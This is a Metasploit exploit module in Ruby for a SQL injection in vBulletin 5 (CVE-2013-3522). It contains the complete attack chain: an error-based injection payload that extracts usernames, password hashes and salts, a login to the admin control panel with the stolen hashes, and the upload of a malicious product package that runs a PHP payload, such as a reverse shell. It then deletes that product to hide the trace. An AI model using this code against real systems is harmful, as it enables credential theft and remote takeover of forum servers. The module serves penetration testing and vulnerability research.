##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability found in vBulletin 5 that has
been used in the wild since March 2013. This module uses the sqli to extract the
web application's usernames and hashes. With the retrieved information tries to
log into the admin control panel in order to deploy the PHP payload. This module
has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu
Linux distribution.
},
'Author' =>
[
'Orestis Kourides', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3522' ],
[ 'OSVDB', '92031' ],
[ 'EDB', '24882' ],
[ 'BID', '58754' ],
[ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ]
],
'Privileged' => false, # web server context
'Payload' =>
{
'DisableNops' => true,
'Space' => 10000 # Just value big enough to fit any php payload
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'vBulletin 5.0.0 Beta 11-28', { }]],
'DisclosureDate' => 'Mar 25 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']),
OptInt.new("NODE", [false, 'Valid Node ID']),
OptInt.new("MINNODE", [true, 'Valid Node ID', 1]),
OptInt.new("MAXNODE", [true, 'Valid Node ID', 100])
], self.class)
end
def exists_node?(id)
mark = rand_text_alpha(8 + rand(5))
result = do_sqli(id, "select '#{mark}'")
if result and result =~ /#{mark}/
return true
end
return false
end
def brute_force_node
min = datastore["MINNODE"]
max = datastore["MAXNODE"]
if min > max
print_error("#{peer} - MINNODE can't be major than MAXNODE")
return nil
end
for node_id in min..max
if exists_node?(node_id)
return node_id
end
end
return nil
end
def get_node
if datastore['NODE'].nil? or datastore['NODE'] <= 0
print_status("#{peer} - Brute forcing to find a valid node id...")
return brute_force_node
end
print_status("#{peer} - Checking node id #{datastore['NODE']}...")
if exists_node?(datastore['NODE'])
return datastore['NODE']
else
return nil
end
end
def do_sqli(node, query)
mark = Rex::Text.rand_text_alpha(5 + rand(3))
random_and = Rex::Text.rand_text_numeric(4)
injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) "
injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) "
injection << "AND (#{random_and}=#{random_and}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"),
'vars_post' =>
{
'nodeid' => "#{node}#{injection}",
}
})
unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/
return nil
end
data = ""
if res.body.to_s =~ /#{mark}(.*)#{mark}/
data = $1
end
return data
end
def get_user_data(node_id, user_id)
user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}")
pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}")
salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}")
return [user, pass, salt]
end
def do_login(user, hash)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "login.php"),
'method' => 'POST',
'encode_params' => false,
'vars_get' => {
'do' => 'login'
},
'vars_post' => {
'url' => '%2Fadmincp%2F',
'securitytoken' => 'guest',
'logintype' => 'cplogin',
'do' => 'login',
'vb_login_md5password' => hash,
'vb_login_md5password_utf' => hash,
'vb_login_username' => user,
'vb_login_password' => '',
'cssprefs' => ''
}
})
if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie']
session = res.get_cookies
else
return nil
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "admincp", "/"),
'cookie' => session
})
if res and res.code == 200 and res.body and res.body.to_s =~ /<title>Forums Admin Control Panel<\/title>/
return session
else
return nil
end
end
def get_token(response)
token_info = {
:session_hash => "",
:security_token => "",
:admin_hash => ""
}
if response =~ /var SESSIONHASH = "([0-9a-f]+)";/
token_info[:session_hash] = $1
end
if response =~ /var ADMINHASH = "([0-9a-f]+)";/
token_info[:admin_hash] = $1
end
if response =~ /var SECURITYTOKEN = "([0-9a-f\-]+)";/
token_info[:security_token] = $1
end
return token_info
end
def get_install_token
res = send_request_cgi({
"uri" => normalize_uri(target_uri.path, "admincp", "product.php"),
"vars_get" => {
"do" => "productadd"
},
"cookie" => @session
})
unless res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/
return nil
end
return get_token(res.body.to_s)
end
def install_product(token_info)
xml_product = <<-EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
<product productid="#{@product_id}" active="0">
<title>#{@product_id}</title>
<description>#{@product_id}</description>
<version>1.0</version>
<url>http://#{@product_id}.loc</url>
<versioncheckurl>http://#{@product_id}.loc/version.xml</versioncheckurl>
<dependencies>
<dependency dependencytype="vbulletin" minversion="" maxversion="" />
</dependencies>
<codes>
<code version="*">
<installcode>
<![CDATA[
#{payload.encoded}
]]>
</installcode>
<uninstallcode />
</code>
</codes>
<templates>
</templates>
<stylevardfns>
</stylevardfns>
<stylevars>
</stylevars>
<hooks>
</hooks>
<phrases>
</phrases>
<options>
</options>
<helptopics>
</helptopics>
<cronentries>
</cronentries>
<faqentries>
</faqentries>
<widgets>
</widgets>
</product>
EOF
post_data = Rex::MIME::Message.new
post_data.add_part(token_info[:session_hash], nil, nil, "form-data; name=\"s\"")
post_data.add_part("productimport", nil, nil, "form-data; name=\"do\"")
post_data.add_part(token_info[:admin_hash], nil, nil, "form-data; name=\"adminhash\"")
post_data.add_part(token_info[:security_token], nil, nil, "form-data; name=\"securitytoken\"")
post_data.add_part(xml_product, "text/xml", nil, "form-data; name=\"productfile\"; filename=\"product_juan2.xml\"")
post_data.add_part("", nil, nil, "form-data; name=\"serverfile\"")
post_data.add_part("1", nil, nil, "form-data; name=\"allowoverwrite\"")
post_data.add_part("999999999", nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
# Work around an incompatible MIME implementation
data = post_data.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "admincp", "product.php"),
'method' => "POST",
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => @session,
'vars_get' => {
"do" => "productimport"
},
'data' => data
})
if res and res.code == 200 and res.body and res.body.to_s =~ /Product #{@product_id} Imported/
return true
elsif res
fail_with(Failure::Unknown, "#{peer} - Error when trying to install the product.")
else
return false
end
end
def get_delete_token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "admincp", "product.php"),
'cookie' => @session,
'vars_get' => {
"do" => "productdelete",
"productid" => @product_id,
"s" => @session_hash
}
})
if res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/
return get_token(res.body.to_s)
end
return nil
end
def delete_product(token_info)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "admincp", "product.php"),
'method' => "POST",
'cookie' => @session,
'vars_get' => {
"do" => "productkill"
},
'vars_post' => {
"s" => token_info[:session_hash],
"do" => "productkill",
"adminhash" => token_info[:admin_hash],
"securitytoken" => token_info[:security_token],
"productid" => @product_id
}
})
if res and res.code == 200 and res.body.to_s =~ /Product #{@product_id} Uninstalled/
return true
end
return false
end
def check
node_id = get_node
unless node_id.nil?
return Msf::Exploit::CheckCode::Vulnerable
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "index.php")
})
if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
return Msf::Exploit::CheckCode::Detected
end
return Msf::Exploit::CheckCode::Unknown
end
def on_new_session(session)
print_status("#{peer} - Getting the uninstall token info...")
delete_token = get_delete_token
if delete_token.nil?
print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")
return
end
print_status("#{peer} - Deleting the product #{@product_id}...")
if delete_product(delete_token)
print_good("#{peer} - Product #{@product_id} deleted")
else
print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")
end
end
def exploit
print_status("#{peer} - Checking for a valid node id...")
node_id = get_node
if node_id.nil?
print_error("#{peer} - node id not found")
return
end
print_good("#{peer} - Using node id #{node_id} to exploit sqli... Counting users...")
data = do_sqli(node_id, "select count(*) from user")
if data.empty?
print_error("#{peer} - Error exploiting sqli")
return
end
count_users = data.to_i
users = []
print_good("#{peer} - #{count_users} users found")
for i in 0..count_users - 1
user = get_user_data(node_id, i)
report_auth_info({
:host => rhost,
:port => rport,
:user => user[0],
:pass => user[1],
:type => "hash",
:sname => (ssl ? "https" : "http"),
:proof => "salt: #{user[2]}" # Using proof to store the hash salt
})
users << user
end
@session = nil
users.each do |user|
print_status("#{peer} - Trying to log into vBulletin admin control panel as #{user[0]}...")
@session = do_login(user[0], user[1])
unless @session.blank?
print_good("#{peer} - Logged in successfully as #{user[0]}")
break
end
end
if @session.blank?
fail_with(Failure::NoAccess, "#{peer} - Failed to log into the vBulletin admin control panel")
end
print_status("#{peer} - Getting the install product security token...")
install_token = get_install_token
if install_token.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to get the install token")
end
@session_hash = install_token[:session_hash]
@product_id = rand_text_alpha_lower(5 + rand(8))
print_status("#{peer} - Installing the malicious product #{@product_id}...")
if install_product(install_token)
print_good("#{peer} - Product successfully installed... payload should be executed...")
else
# Two situations trigger this path:
# 1) Upload failed but there wasn't answer from the server. I don't think it's going to happen often.
# 2) New session, for exemple when using php/meterpreter/reverse_tcp, the common situation.
# Because of that fail_with isn't used here.
return
end
print_status("#{peer} - Getting the uninstall token info...")
delete_token = get_delete_token
if delete_token.nil?
print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")
return
end
print_status("#{peer} - Deleting the product #{@product_id}...")
if delete_product(delete_token)
print_good("#{peer} - Product #{@product_id} deleted")
else
print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")
end
end
end
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